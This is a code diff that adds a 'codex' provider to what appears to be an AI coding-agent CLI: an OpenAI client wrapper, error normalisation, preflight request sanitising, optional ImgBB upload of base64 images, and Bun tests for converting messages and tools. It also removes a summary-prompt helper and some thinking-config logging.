selectSummaryContextMessages(cleanMessages),
)
const fingerprint = getSummaryContextFingerprint(boundedMessages)
if (fingerprint && fingerprint === previousFingerprint) {
return {
messages: boundedMessages,
fingerprint,
skipReason: 'unchanged',
}
}
if (boundedMessages.length < 3) {
return {
messages: boundedMessages,
fingerprint,
skipReason: 'too_small',
}
}
return {
messages: boundedMessages,
fingerprint,
}
}

View File

@@ -1,32 +0,0 @@
import { randomUUID, type UUID } from 'node:crypto'
import type { UserMessage } from '../../types/message.js'
export function buildSummaryPrompt(previousSummary: string | null): string {
const prevLine = previousSummary
? `\nPrevious: "${previousSummary}" — say something NEW.\n`
: ''
return `Describe your most recent action in 3-5 words using present tense (-ing). Name the file or function, not the branch. Do not use tools.
${prevLine}
Good: "Reading runAgent.ts"
Good: "Fixing null check in validate.ts"
Good: "Running auth module tests"
Good: "Adding retry logic to fetchUser"
Bad (past tense): "Analyzed the branch diff"
Bad (too vague): "Investigating the issue"
Bad (too long): "Reviewing full branch diff and AgentTool.tsx integration"
Bad (branch name): "Analyzed adam/background-summary branch diff"`
}
export function createSummaryPromptMessage(content: string): UserMessage {
return {
type: 'user',
message: {
role: 'user',
content,
},
uuid: randomUUID() as UUID,
timestamp: new Date().toISOString(),
}
}

View File

@@ -1347,6 +1347,12 @@ async function* queryModel(
return
}
if (getAPIProvider() === 'codex') {
const { queryModelCodex } = await import('./codex/index.js')
yield* queryModelCodex(messagesForAPI, systemPrompt, filteredTools, signal, options)
return
}
if (getAPIProvider() === 'gemini') {
const { queryModelGemini } = await import('./gemini/index.js')
yield* queryModelGemini(
@@ -1776,10 +1782,6 @@ async function* queryModel(
// captures only primitives instead of paramsFromContext's full closure scope
// (messagesForAPI, system, allTools, betas — the entire request-building
// context), which would otherwise be pinned until the promise resolves.
// Also capture thinking params for Langfuse observability.
// Pass the entire thinking config object so all fields (type, budget_tokens,
// and any future additions) flow through without cherry-picking.
let langfuseThinking: BetaMessageStreamParams['thinking'] | undefined
{
const queryParams = paramsFromContext({
model: options.model,
@@ -1787,10 +1789,8 @@ async function* queryModel(
})
const logMessagesLength = queryParams.messages.length
const logBetas = useBetas ? (queryParams.betas ?? []) : []
const logThinkingType = queryParams.thinking?.type ?? 'disabled'
const logEffortValue = queryParams.output_config?.effort
if (queryParams.thinking && queryParams.thinking.type !== 'disabled') {
langfuseThinking = queryParams.thinking
}
void options.getToolPermissionContext().then(permissionContext => {
logAPIQuery({
model: options.model,
@@ -1800,7 +1800,7 @@ async function* queryModel(
permissionMode: permissionContext.mode,
querySource: options.querySource,
queryTracking: options.queryTracking,
thinkingConfig,
thinkingType: logThinkingType,
effortValue: logEffortValue,
fastMode: isFastMode,
previousRequestId,
@@ -2551,9 +2551,6 @@ async function* queryModel(
maxOutputTokens,
thinkingType:
thinkingConfig.type as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
...(thinkingConfig.type === 'enabled' && {
thinkingBudgetTokens: thinkingConfig.budgetTokens,
}),
fallback_disabled: true,
request_id: (streamRequestId ??
'unknown') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
@@ -2586,9 +2583,6 @@ async function* queryModel(
maxOutputTokens,
thinkingType:
thinkingConfig.type as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
...(thinkingConfig.type === 'enabled' && {
thinkingBudgetTokens: thinkingConfig.budgetTokens,
}),
fallback_disabled: false,
request_id: (streamRequestId ??
'unknown') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
@@ -2705,9 +2699,6 @@ async function* queryModel(
maxOutputTokens,
thinkingType:
thinkingConfig.type as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
...(thinkingConfig.type === 'enabled' && {
thinkingBudgetTokens: thinkingConfig.budgetTokens,
}),
request_id:
failedRequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
fallback_cause:
@@ -2940,7 +2931,6 @@ async function* queryModel(
endTime: new Date(),
completionStartTime: ttftMs > 0 ? new Date(start + ttftMs) : undefined,
tools: convertToolsToLangfuse(toolSchemas as unknown[]),
thinking: langfuseThinking,
})
void options.getToolPermissionContext().then(permissionContext => {

View File

@@ -0,0 +1,407 @@
import { describe, expect, test } from 'bun:test'
import { createAssistantMessage, createUserMessage } from '../../../../utils/messages.js'
import { anthropicMessagesToCodexInput, anthropicToolsToCodex } from '@ant/model-provider'
describe('anthropicMessagesToCodexInput', () => {
test('replays assistant tool calls and user tool results in order', async () => {
const assistant = createAssistantMessage({
content: [
'I will inspect the file.',
{
type: 'tool_use',
id: 'tool_1',
name: 'Read',
input: { file_path: 'README.md' },
},
'Then I will summarize.',
] as any,
})
const user = createUserMessage({
content: [
{
type: 'tool_result',
tool_use_id: 'tool_1',
content: [
{ type: 'text', text: 'file contents' },
{ type: 'text', text: 'second line' },
],
},
'Please continue.',
] as any,
})
const items = await anthropicMessagesToCodexInput([assistant, user])
expect(items).toHaveLength(5)
expect(items[0]).toMatchObject({
type: 'message',
role: 'assistant',
})
expect(items[0]).not.toHaveProperty('id')
expect(items[0]).not.toHaveProperty('status')
expect(items[1]).toMatchObject({
type: 'function_call',
call_id: 'tool_1',
name: 'Read',
arguments: '{"file_path":"README.md"}',
})
expect(items[1]).not.toHaveProperty('id')
expect(items[1]).not.toHaveProperty('status')
expect(items[2]).toMatchObject({
type: 'message',
role: 'assistant',
})
expect(items[2]).not.toHaveProperty('id')
expect(items[2]).not.toHaveProperty('status')
expect(items[3]).toMatchObject({
type: 'function_call_output',
call_id: 'tool_1',
output: [
{ type: 'input_text', text: 'file contents' },
{ type: 'input_text', text: 'second line' },
],
})
expect(items[3]).not.toHaveProperty('id')
expect(items[3]).not.toHaveProperty('status')
expect(items[4]).toMatchObject({
type: 'message',
role: 'user',
})
})
test('normalizes tool call ids consistently across assistant replay and tool results', async () => {
const assistant = createAssistantMessage({
content: [
{
type: 'tool_use',
id: ' tool 1 / weird ',
name: 'Read',
input: { file_path: 'README.md' },
},
] as any,
})
const user = createUserMessage({
content: [
{
type: 'tool_result',
tool_use_id: ' tool 1 / weird ',
content: 'ok',
},
] as any,
})
const items = await anthropicMessagesToCodexInput([assistant, user])
expect(items[0]).toMatchObject({
type: 'function_call',
call_id: 'tool_1_weird',
})
expect(items[1]).toMatchObject({
type: 'function_call_output',
call_id: 'tool_1_weird',
output: 'ok',
})
})
test('creates a deterministic fallback tool call id when assistant replay is missing one', async () => {
const assistant = createAssistantMessage({
content: [
{
type: 'tool_use',
id: '',
name: 'Read',
input: { file_path: 'README.md' },
},
] as any,
})
const items = await anthropicMessagesToCodexInput([assistant])
expect(items[0]).toMatchObject({
type: 'function_call',
name: 'Read',
arguments: '{"file_path":"README.md"}',
})
expect((items[0] as any).call_id).toMatch(/^call_[a-f0-9]{24}$/)
})
test('degrades unsupported user media blocks to text placeholders', async () => {
const user = createUserMessage({
content: [
{ type: 'text', text: 'Inspect the attachment.' },
{
type: 'image',
source: {
type: 'base64',
media_type: 'image/png',
data: 'abc',
},
},
] as any,
})
const items = await anthropicMessagesToCodexInput([user])
expect(items).toEqual([
{
type: 'message',
role: 'user',
content: [
{
type: 'input_text',
text:
'Inspect the attachment.\n[Image omitted: codex gateway currently requires remote image URLs. Configure CODEX_IMGBB_API_KEY to auto-convert local images.]',
},
],
},
])
})
test('passes through remote image URLs for user messages', async () => {
const user = createUserMessage({
content: [
{ type: 'text', text: 'Read the image.' },
{
type: 'image',
source: {
type: 'url',
url: 'https://example.com/vision.png',
},
},
] as any,
})
const items = await anthropicMessagesToCodexInput([user])
expect(items).toEqual([
{
type: 'message',
role: 'user',
content: [
{
type: 'input_text',
text: 'Read the image.',
},
{
type: 'input_image',
image_url: 'https://example.com/vision.png',
detail: 'high',
},
],
},
])
})
test('converts base64 user images through the configured inline resolver', async () => {
const user = createUserMessage({
content: [
{ type: 'text', text: 'Read the image.' },
{
type: 'image',
source: {
type: 'base64',
media_type: 'image/png',
data: 'abc',
},
},
] as any,
})
const items = await anthropicMessagesToCodexInput([user], {
resolveBase64ImageUrl: async (data, mediaType) =>
data === 'abc' && mediaType === 'image/png'
? 'https://example.com/inline-uploaded.png'
: null,
})
expect(items).toEqual([
{
type: 'message',
role: 'user',
content: [
{
type: 'input_text',
text: 'Read the image.',
},
{
type: 'input_image',
image_url: 'https://example.com/inline-uploaded.png',
detail: 'high',
},
],
},
])
})
test('passes through remote image URLs inside tool results', async () => {
const assistant = createAssistantMessage({
content: [
{
type: 'tool_use',
id: 'tool_vision',
name: 'Read',
input: { file_path: '/tmp/screenshot.png' },
},
] as any,
})
const user = createUserMessage({
content: [
{
type: 'tool_result',
tool_use_id: 'tool_vision',
content: [
{ type: 'text', text: 'Screenshot attached.' },
{
type: 'image',
source: {
type: 'url',
url: 'https://example.com/tool-screenshot.png',
},
},
],
},
] as any,
})
const items = await anthropicMessagesToCodexInput([assistant, user])
expect(items[1]).toEqual({
type: 'function_call_output',
call_id: 'tool_vision',
output: [
{ type: 'input_text', text: 'Screenshot attached.' },
{
type: 'input_image',
image_url: 'https://example.com/tool-screenshot.png',
detail: 'high',
},
],
})
})
test('degrades unsupported tool result images to text placeholders', async () => {
const assistant = createAssistantMessage({
content: [
{
type: 'tool_use',
id: 'tool_vision',
name: 'Read',
input: { file_path: '/tmp/screenshot.png' },
},
] as any,
})
const user = createUserMessage({
content: [
{
type: 'tool_result',
tool_use_id: 'tool_vision',
content: [
{
type: 'image',
source: {
type: 'base64',
media_type: 'image/png',
data: 'abc',
},
},
],
},
] as any,
})
const items = await anthropicMessagesToCodexInput([assistant, user])
expect(items[1]).toEqual({
type: 'function_call_output',
call_id: 'tool_vision',
output:
'[Image omitted: codex gateway currently requires remote image URLs. Configure CODEX_IMGBB_API_KEY to auto-convert local images.]',
})
})
test('converts base64 tool result images through the configured inline resolver', async () => {
const assistant = createAssistantMessage({
content: [
{
type: 'tool_use',
id: 'tool_vision',
name: 'Read',
input: { file_path: '/tmp/screenshot.png' },
},
] as any,
})
const user = createUserMessage({
content: [
{
type: 'tool_result',
tool_use_id: 'tool_vision',
content: [
{
type: 'image',
source: {
type: 'base64',
media_type: 'image/png',
data: 'abc',
},
},
],
},
] as any,
})
const items = await anthropicMessagesToCodexInput([assistant, user], {
resolveBase64ImageUrl: async (data, mediaType) =>
data === 'abc' && mediaType === 'image/png'
? 'https://example.com/tool-inline-uploaded.png'
: null,
})
expect(items[1]).toEqual({
type: 'function_call_output',
call_id: 'tool_vision',
output: [
{
type: 'input_image',
image_url: 'https://example.com/tool-inline-uploaded.png',
detail: 'high',
},
],
})
})
})
describe('anthropicToolsToCodex', () => {
test('converts only client function tools', () => {
const tools = anthropicToolsToCodex([
{
name: 'Read',
description: 'Read a file',
input_schema: {
type: 'object',
properties: {
file_path: { type: 'string' },
},
},
strict: true,
} as any,
{
type: 'advisor_20260301',
} as any,
])
expect(tools).toEqual([
{
type: 'function',
name: 'Read',
description: 'Read a file',
parameters: {
type: 'object',
properties: {
file_path: { type: 'string' },
},
},
strict: true,
},
])
})
})

View File

@@ -0,0 +1,103 @@
import { afterEach, describe, expect, test } from 'bun:test'
import {
getCodexConfigurationError,
normalizeCodexError,
} from '../errors.js'
const originalCodexApiKey = process.env.CODEX_API_KEY
afterEach(() => {
if (originalCodexApiKey === undefined) {
delete process.env.CODEX_API_KEY
} else {
process.env.CODEX_API_KEY = originalCodexApiKey
}
})
describe('getCodexConfigurationError', () => {
test('reports missing CODEX_API_KEY clearly', () => {
delete process.env.CODEX_API_KEY
expect(getCodexConfigurationError()).toEqual({
content:
'Missing CODEX_API_KEY. Configure it in settings or your environment before using the codex provider.',
error: 'authentication_failed',
})
})
test('returns null when CODEX_API_KEY is present', () => {
process.env.CODEX_API_KEY = 'test-key'
expect(getCodexConfigurationError()).toBeNull()
})
})
describe('normalizeCodexError', () => {
test('maps authentication failures', () => {
expect(
normalizeCodexError({
status: 401,
message: 'invalid_api_key',
}),
).toEqual({
content:
'Codex authentication failed (401). Verify CODEX_API_KEY and CODEX_BASE_URL.',
error: 'authentication_failed',
})
})
test('maps missing endpoint failures', () => {
expect(
normalizeCodexError({
status: 404,
message: 'Not Found',
}),
).toEqual({
content:
'Codex endpoint not found (404). Verify CODEX_BASE_URL points to a Responses API root.',
error: 'invalid_request',
})
})
test('maps rate limits', () => {
expect(
normalizeCodexError({
status: 429,
message: 'Too Many Requests',
}),
).toEqual({
content:
'Codex rate limit reached (429). Retry shortly or reduce request volume.',
error: 'rate_limit',
})
})
test('maps upstream gateway 502 errors', () => {
expect(
normalizeCodexError({
status: 502,
message: 'Upstream request failed',
}),
).toEqual({
content:
'Codex gateway returned 502 Upstream request failed. This usually means a transient gateway issue or incomplete Responses API compatibility during tool replay.',
error: 'server_error',
})
})
test('passes through Codex preflight errors as invalid requests', () => {
expect(
normalizeCodexError(new Error('Codex preflight: input must be an array.')),
).toEqual({
content: 'Codex preflight: input must be an array.',
error: 'invalid_request',
})
})
test('falls back to generic API error text', () => {
expect(normalizeCodexError(new Error('socket hang up'))).toEqual({
content: 'API Error: socket hang up',
error: 'unknown',
})
})
})

View File

@@ -0,0 +1,103 @@
import { afterEach, beforeEach, describe, expect, test } from 'bun:test'
import { uploadCodexBase64Image } from '../imageUpload.js'
describe('codex image upload', () => {
const originalFetch = globalThis.fetch
const originalImgbbApiKey = process.env.CODEX_IMGBB_API_KEY
const originalUploadTimeout = process.env.CODEX_IMAGE_UPLOAD_TIMEOUT_MS
const originalLegacyTimeout = process.env.CODEX_IMAGE_URL_TIMEOUT_MS
beforeEach(() => {
process.env.CODEX_IMGBB_API_KEY = 'imgbb-test-key'
delete process.env.CODEX_IMAGE_UPLOAD_TIMEOUT_MS
delete process.env.CODEX_IMAGE_URL_TIMEOUT_MS
})
afterEach(() => {
globalThis.fetch = originalFetch
if (originalImgbbApiKey === undefined) {
delete process.env.CODEX_IMGBB_API_KEY
} else {
process.env.CODEX_IMGBB_API_KEY = originalImgbbApiKey
}
if (originalUploadTimeout === undefined) {
delete process.env.CODEX_IMAGE_UPLOAD_TIMEOUT_MS
} else {
process.env.CODEX_IMAGE_UPLOAD_TIMEOUT_MS = originalUploadTimeout
}
if (originalLegacyTimeout === undefined) {
delete process.env.CODEX_IMAGE_URL_TIMEOUT_MS
} else {
process.env.CODEX_IMAGE_URL_TIMEOUT_MS = originalLegacyTimeout
}
})
test('uploads inline base64 images to ImgBB and caches the result', async () => {
let fetchCalls = 0
globalThis.fetch = (async (input: string | URL | Request) => {
fetchCalls += 1
expect(String(input)).toBe(
'https://api.imgbb.com/1/upload?key=imgbb-test-key',
)
return new Response(
JSON.stringify({ data: { url: 'https://i.ibb.co/base64.png' } }),
{ status: 200 },
)
}) as unknown as typeof fetch
const first = await uploadCodexBase64Image('YWJj', 'image/png')
const second = await uploadCodexBase64Image('YWJj', 'image/png')
expect(first).toBe('https://i.ibb.co/base64.png')
expect(second).toBe('https://i.ibb.co/base64.png')
expect(fetchCalls).toBe(1)
})
test('prefers ImgBB derived variants before the raw url', async () => {
globalThis.fetch = (async () =>
new Response(
JSON.stringify({
data: {
url: 'https://i.ibb.co/raw/base64.png',
image: { url: 'https://i.ibb.co/image/base64.png' },
thumb: { url: 'https://i.ibb.co/thumb/base64.png' },
medium: { url: 'https://i.ibb.co/medium/base64.png' },
},
}),
{ status: 200 },
)) as unknown as typeof fetch
const url = await uploadCodexBase64Image('ZGVm', 'image/png')
expect(url).toBe('https://i.ibb.co/medium/base64.png')
})
test('prefers the new upload timeout env name over the legacy one', async () => {
let aborted = false
process.env.CODEX_IMAGE_UPLOAD_TIMEOUT_MS = '1'
process.env.CODEX_IMAGE_URL_TIMEOUT_MS = '1000'
globalThis.fetch = (async (
_input: string | URL | Request,
init?: RequestInit,
) => {
const signal = init?.signal
if (!(signal instanceof AbortSignal)) {
throw new Error('Expected AbortSignal')
}
await new Promise<void>(resolve => {
signal.addEventListener('abort', () => {
aborted = true
resolve()
})
})
throw new Error('aborted')
}) as unknown as typeof fetch
const url = await uploadCodexBase64Image('Z2hp', 'image/png')
expect(url).toBeNull()
expect(aborted).toBe(true)
})
})

View File

@@ -0,0 +1,51 @@
import { describe, expect, test } from 'bun:test'
import { sanitizeCodexRequest } from '../preflight.js'
describe('sanitizeCodexRequest', () => {
test('normalizes function call ids and tool names', () => {
const request = sanitizeCodexRequest({
model: 'gpt-5.4',
input: [
{
type: 'function_call',
call_id: ' tool 1 / weird ',
name: ' Read ',
arguments: '{}',
},
] as any,
tools: [
{
type: 'function',
name: ' Read ',
parameters: null,
},
] as any,
} as any)
expect(request.input?.[0]).toMatchObject({
type: 'function_call',
call_id: 'tool_1_weird',
name: 'Read',
})
expect(request.tools?.[0]).toMatchObject({
type: 'function',
name: 'Read',
parameters: {},
})
})
test('rejects invalid function_call_output without call_id', () => {
expect(() =>
sanitizeCodexRequest({
model: 'gpt-5.4',
input: [
{
type: 'function_call_output',
call_id: ' ',
output: 'ok',
},
] as any,
} as any),
).toThrow('Codex preflight: function_call_output.call_id is required.')
})
})

View File

@@ -0,0 +1,451 @@
import { afterEach, beforeEach, describe, expect, mock, test } from 'bun:test'
import type { Response, ResponseStreamEvent } from 'openai/resources/responses/responses.mjs'
import { asSystemPrompt } from '../../../../utils/systemPromptType.js'
type StreamRun = {
events?: ResponseStreamEvent[]
finalResponse?: Response
error?: unknown
}
let streamRuns: StreamRun[] = []
let createRuns: StreamRun[] = []
let lastRequestBody: any
let lastCreateRequestBody: any
function makeResponse(overrides: Partial<Response> = {}): Response {
return {
id: 'resp_test',
object: 'response',
created_at: 0,
status: 'completed',
model: 'gpt-5.4',
output: [],
parallel_tool_calls: false,
store: false,
temperature: 1,
tool_choice: 'auto',
top_p: 1,
truncation: 'disabled',
usage: {
input_tokens: 12,
output_tokens: 8,
total_tokens: 20,
input_tokens_details: {
cached_tokens: 0,
},
output_tokens_details: {
reasoning_tokens: 0,
},
},
...overrides,
} as Response
}
function makeStream(run: StreamRun) {
return {
async *[Symbol.asyncIterator]() {
for (const event of run.events ?? []) {
yield event
}
},
finalResponse: async () => {
if (run.error) {
throw run.error
}
return run.finalResponse ?? makeResponse()
},
}
}
function makeCreateStream(run: StreamRun) {
return {
async *[Symbol.asyncIterator]() {
if (run.error) {
throw run.error
}
for (const event of run.events ?? []) {
yield event
}
},
}
}
mock.module('../client.js', () => ({
getCodexClient: () => ({
responses: {
stream: (body: any) => {
lastRequestBody = body
const run = streamRuns.shift()
if (!run) {
throw new Error('unexpected stream call')
}
if (run.error && !run.events) {
throw run.error
}
return makeStream(run)
},
create: async (body: any) => {
lastCreateRequestBody = body
const run = createRuns.shift()
if (!run) {
throw new Error('unexpected create call')
}
return makeCreateStream(run)
},
},
}),
}))
// Mock only model resolution — conversion functions can use real implementations
// since the client mock controls API responses.
mock.module('@ant/model-provider', () => {
// Import the real module to preserve conversion functions
const real = require('@ant/model-provider')
return {
...real,
resolveCodexModel: () => 'gpt-5.4',
resolveCodexMaxTokens: () => 4096,
}
})
mock.module('../../../../utils/context.js', () => ({
MODEL_CONTEXT_WINDOW_DEFAULT: 200_000,
COMPACT_MAX_OUTPUT_TOKENS: 20_000,
CAPPED_DEFAULT_MAX_TOKENS: 8_000,
ESCALATED_MAX_TOKENS: 64_000,
is1mContextDisabled: () => false,
has1mContext: () => false,
modelSupports1M: () => false,
getContextWindowForModel: () => 200_000,
getSonnet1mExpTreatmentEnabled: () => false,
calculateContextPercentages: () => ({}),
getModelMaxOutputTokens: () => ({ upperLimit: 4096 }),
getMaxThinkingTokensForModel: () => 0,
}))
mock.module('../../../../utils/api.js', () => ({
toolToAPISchema: async () => ({}),
appendSystemContext: () => {},
prependUserContext: () => {},
logAPIPrefix: () => {},
splitSysPromptPrefix: () => ({ prefix: '', rest: [] }),
logContextMetrics: async () => {},
normalizeToolInput: (input: any) => input,
normalizeToolInputForAPI: (input: any) => input,
}))
mock.module('src/utils/debug.ts', () => ({
getMinDebugLogLevel: () => 'debug' as const,
isDebugMode: () => false,
enableDebugLogging: () => false,
getDebugFilter: () => null,
isDebugToStdErr: () => false,
getDebugFilePath: () => null as string | null,
setHasFormattedOutput: () => {},
getHasFormattedOutput: () => false,
flushDebugLogs: async () => {},
logForDebugging: () => {},
getDebugLogPath: () => '/tmp/mock-debug.log',
logAntError: () => {},
}))
mock.module('../../../../services/langfuse/tracing.js', () => ({
createTrace: () => null,
recordLLMObservation: () => {},
recordToolObservation: () => {},
createToolBatchSpan: () => null,
endToolBatchSpan: () => {},
createSubagentTrace: () => null,
createChildSpan: () => null,
endTrace: () => {},
}))
mock.module('../../../../services/langfuse/convert.js', () => ({
convertMessagesToLangfuse: () => [],
convertOutputToLangfuse: () => [],
convertToolsToLangfuse: () => [],
}))
async function runQuery(
nextStreamRuns: StreamRun[],
nextCreateRuns: StreamRun[] = [],
systemPrompt = asSystemPrompt([]),
) {
streamRuns = [...nextStreamRuns]
createRuns = [...nextCreateRuns]
const { queryModelCodex } = await import('../index.js')
const assistantMessages: any[] = []
const streamEvents: any[] = []
const options: any = {
model: 'gpt-5.4',
agents: [],
querySource: 'main_loop',
getToolPermissionContext: async () => ({
alwaysAllow: [],
alwaysDeny: [],
needsPermission: [],
mode: 'default',
isBypassingPermissions: false,
}),
}
for await (const item of queryModelCodex(
[],
systemPrompt,
[],
new AbortController().signal,
options,
)) {
if (item.type === 'assistant') {
assistantMessages.push(item)
} else if (item.type === 'stream_event') {
streamEvents.push(item)
}
}
return { assistantMessages, streamEvents }
}
describe('queryModelCodex streaming fallback', () => {
const originalCodexApiKey = process.env.CODEX_API_KEY
beforeEach(() => {
process.env.CODEX_API_KEY = 'test-key'
})
afterEach(() => {
streamRuns = []
createRuns = []
lastRequestBody = undefined
lastCreateRequestBody = undefined
if (originalCodexApiKey === undefined) {
delete process.env.CODEX_API_KEY
} else {
process.env.CODEX_API_KEY = originalCodexApiKey
}
})
test('builds the final assistant text from streamed blocks when final snapshots are empty', async () => {
const response = makeResponse()
const events: ResponseStreamEvent[] = [
{ type: 'response.created', response } as any,
{
type: 'response.output_item.added',
output_index: 0,
item: {
type: 'message',
id: 'msg_1',
role: 'assistant',
content: [],
status: 'in_progress',
},
} as any,
{
type: 'response.output_text.delta',
output_index: 0,
item_id: 'msg_1',
delta: 'hello',
} as any,
{
type: 'response.output_text.done',
output_index: 0,
item_id: 'msg_1',
text: 'hello world',
} as any,
{ type: 'response.completed', response } as any,
]
const { assistantMessages, streamEvents } = await runQuery([
{ events, finalResponse: response },
])
expect(assistantMessages).toHaveLength(1)
expect(assistantMessages[0].message.content).toEqual([
{ type: 'text', text: 'hello world' },
])
expect(assistantMessages[0].message.stop_reason).toBe('end_turn')
expect(
streamEvents.find((item: any) => item.event.type === 'message_delta')?.event.delta
.stop_reason,
).toBe('end_turn')
})
test('builds tool_use blocks from streamed arguments when final snapshots are empty', async () => {
const response = makeResponse()
const events: ResponseStreamEvent[] = [
{ type: 'response.created', response } as any,
{
type: 'response.output_item.added',
output_index: 0,
item: {
type: 'function_call',
id: 'fc_1',
call_id: 'call_1',
name: 'Read',
arguments: '',
status: 'in_progress',
},
} as any,
{
type: 'response.function_call_arguments.delta',
output_index: 0,
item_id: 'fc_1',
delta: '{"file_path":"README.md"}',
} as any,
{
type: 'response.function_call_arguments.done',
output_index: 0,
item_id: 'fc_1',
arguments: '{"file_path":"README.md"}',
} as any,
{ type: 'response.completed', response } as any,
]
const { assistantMessages, streamEvents } = await runQuery([
{ events, finalResponse: response },
])
expect(assistantMessages).toHaveLength(1)
expect(assistantMessages[0].message.content).toEqual([
{
type: 'tool_use',
id: 'call_1',
name: 'Read',
input: { file_path: 'README.md' },
},
])
expect(assistantMessages[0].message.stop_reason).toBe('tool_use')
expect(
streamEvents.find((item: any) => item.event.type === 'message_delta')?.event.delta
.stop_reason,
).toBe('tool_use')
})
test('sends system prompt via top-level instructions instead of system messages', async () => {
const response = makeResponse({
output: [
{
type: 'message',
role: 'assistant',
content: [{ type: 'output_text', text: 'ok' }],
status: 'completed',
} as any,
],
output_text: 'ok',
})
const events: ResponseStreamEvent[] = [
{ type: 'response.created', response } as any,
{ type: 'response.completed', response } as any,
]
await runQuery(
[{ events, finalResponse: response }],
[],
asSystemPrompt(['system one', 'system two']),
)
expect(lastRequestBody.instructions).toBe('system one\n\nsystem two')
expect(lastRequestBody.input).toEqual([])
})
test('continues incomplete responses and aggregates usage across attempts', async () => {
const incompleteResponse = makeResponse({
status: 'incomplete',
incomplete_details: { reason: 'max_output_tokens' } as any,
usage: {
input_tokens: 10,
output_tokens: 4,
total_tokens: 14,
input_tokens_details: { cached_tokens: 1 },
output_tokens_details: { reasoning_tokens: 0 },
} as any,
output: [
{
type: 'message',
role: 'assistant',
content: [{ type: 'output_text', text: 'hello ' }],
status: 'incomplete',
} as any,
],
})
const completedResponse = makeResponse({
usage: {
input_tokens: 20,
output_tokens: 6,
total_tokens: 26,
input_tokens_details: { cached_tokens: 2 },
output_tokens_details: { reasoning_tokens: 0 },
} as any,
output: [
{
type: 'message',
role: 'assistant',
content: [{ type: 'output_text', text: 'world' }],
status: 'completed',
} as any,
],
})
const { assistantMessages } = await runQuery([
{
events: [
{ type: 'response.created', response: incompleteResponse } as any,
{ type: 'response.incomplete', response: incompleteResponse } as any,
],
finalResponse: incompleteResponse,
},
{
events: [
{ type: 'response.created', response: completedResponse } as any,
{ type: 'response.completed', response: completedResponse } as any,
],
finalResponse: completedResponse,
},
])
expect(assistantMessages).toHaveLength(1)
expect(assistantMessages[0].message.content).toEqual([
{ type: 'text', text: 'hello world' },
])
expect(assistantMessages[0].message.usage).toMatchObject({
input_tokens: 30,
output_tokens: 10,
cache_read_input_tokens: 3,
})
})
test('falls back to responses.create(stream:true) when helper streaming fails', async () => {
const fallbackResponse = makeResponse({
output: [
{
type: 'message',
role: 'assistant',
content: [{ type: 'output_text', text: 'fallback ok' }],
status: 'completed',
} as any,
],
})
const { assistantMessages } = await runQuery(
[{ error: new Error('helper stream failed') }],
[
{
events: [
{ type: 'response.created', response: fallbackResponse } as any,
{ type: 'response.completed', response: fallbackResponse } as any,
],
},
],
)
expect(lastCreateRequestBody.stream).toBe(true)
expect(assistantMessages).toHaveLength(1)
expect(assistantMessages[0].message.content).toEqual([
{ type: 'text', text: 'fallback ok' },
])
})
})

View File

@@ -0,0 +1,57 @@
import OpenAI from 'openai'
import { openaiAdapter } from 'src/services/providerUsage/adapters/openai.js'
import { updateProviderBuckets } from 'src/services/providerUsage/store.js'
import { getProxyFetchOptions } from 'src/utils/proxy.js'
export const DEFAULT_CODEX_BASE_URL = 'https://api.openai.com/v1'
let cachedClient: OpenAI | null = null
function wrapFetchForUsage(base: typeof fetch): typeof fetch {
const wrapped = async (
...args: Parameters<typeof fetch>
): Promise<Response> => {
const res = await base(...args)
try {
updateProviderBuckets('codex', openaiAdapter.parseHeaders(res.headers))
} catch {
// Usage tracking must not affect the request path.
}
return res
}
return wrapped as unknown as typeof fetch
}
export function getCodexClient(options?: {
maxRetries?: number
fetchOverride?: typeof fetch
}): OpenAI {
if (cachedClient && !options?.fetchOverride) {
return cachedClient
}
const apiKey = process.env.CODEX_API_KEY || ''
const baseURL = process.env.CODEX_BASE_URL || DEFAULT_CODEX_BASE_URL
const baseFetch = options?.fetchOverride ?? (globalThis.fetch as typeof fetch)
const wrappedFetch = wrapFetchForUsage(baseFetch)
const client = new OpenAI({
apiKey,
baseURL,
maxRetries: options?.maxRetries ?? 0,
timeout: parseInt(process.env.API_TIMEOUT_MS || String(600 * 1000), 10),
dangerouslyAllowBrowser: true,
fetchOptions: getProxyFetchOptions({ forAnthropicAPI: false }),
fetch: wrappedFetch,
})
if (!options?.fetchOverride) {
cachedClient = client
}
return client
}
export function clearCodexClientCache(): void {
cachedClient = null
}

View File

@@ -0,0 +1,114 @@
import type { SDKAssistantMessageError } from '../../../entrypoints/agentSdkTypes.js'
type CodexErrorLike = {
status?: unknown
message?: unknown
error?: {
message?: unknown
}
}
export type NormalizedCodexError = {
content: string
error: SDKAssistantMessageError
}
function readErrorStatus(error: unknown): number | null {
if (
typeof error === 'object' &&
error !== null &&
typeof (error as CodexErrorLike).status === 'number'
) {
return (error as CodexErrorLike).status as number
}
return null
}
function readErrorMessage(error: unknown): string {
if (error instanceof Error && error.message.length > 0) {
return error.message
}
if (typeof error === 'object' && error !== null) {
const value = error as CodexErrorLike
if (typeof value.message === 'string' && value.message.length > 0) {
return value.message
}
if (
typeof value.error?.message === 'string' &&
value.error.message.length > 0
) {
return value.error.message
}
}
return String(error)
}
export function getCodexConfigurationError(): NormalizedCodexError | null {
if (!process.env.CODEX_API_KEY) {
return {
content:
'Missing CODEX_API_KEY. Configure it in settings or your environment before using the codex provider.',
error: 'authentication_failed',
}
}
return null
}
export function normalizeCodexError(error: unknown): NormalizedCodexError {
const status = readErrorStatus(error)
const message = readErrorMessage(error)
if (/^Codex preflight:/i.test(message)) {
return {
content: message,
error: 'invalid_request',
}
}
if (status === 401 || status === 403) {
return {
content: `Codex authentication failed (${status}). Verify CODEX_API_KEY and CODEX_BASE_URL.`,
error: 'authentication_failed',
}
}
if (status === 404) {
return {
content:
'Codex endpoint not found (404). Verify CODEX_BASE_URL points to a Responses API root.',
error: 'invalid_request',
}
}
if (status === 429) {
return {
content:
'Codex rate limit reached (429). Retry shortly or reduce request volume.',
error: 'rate_limit',
}
}
if (status === 502 && /upstream request failed/i.test(message)) {
return {
content:
'Codex gateway returned 502 Upstream request failed. This usually means a transient gateway issue or incomplete Responses API compatibility during tool replay.',
error: 'server_error',
}
}
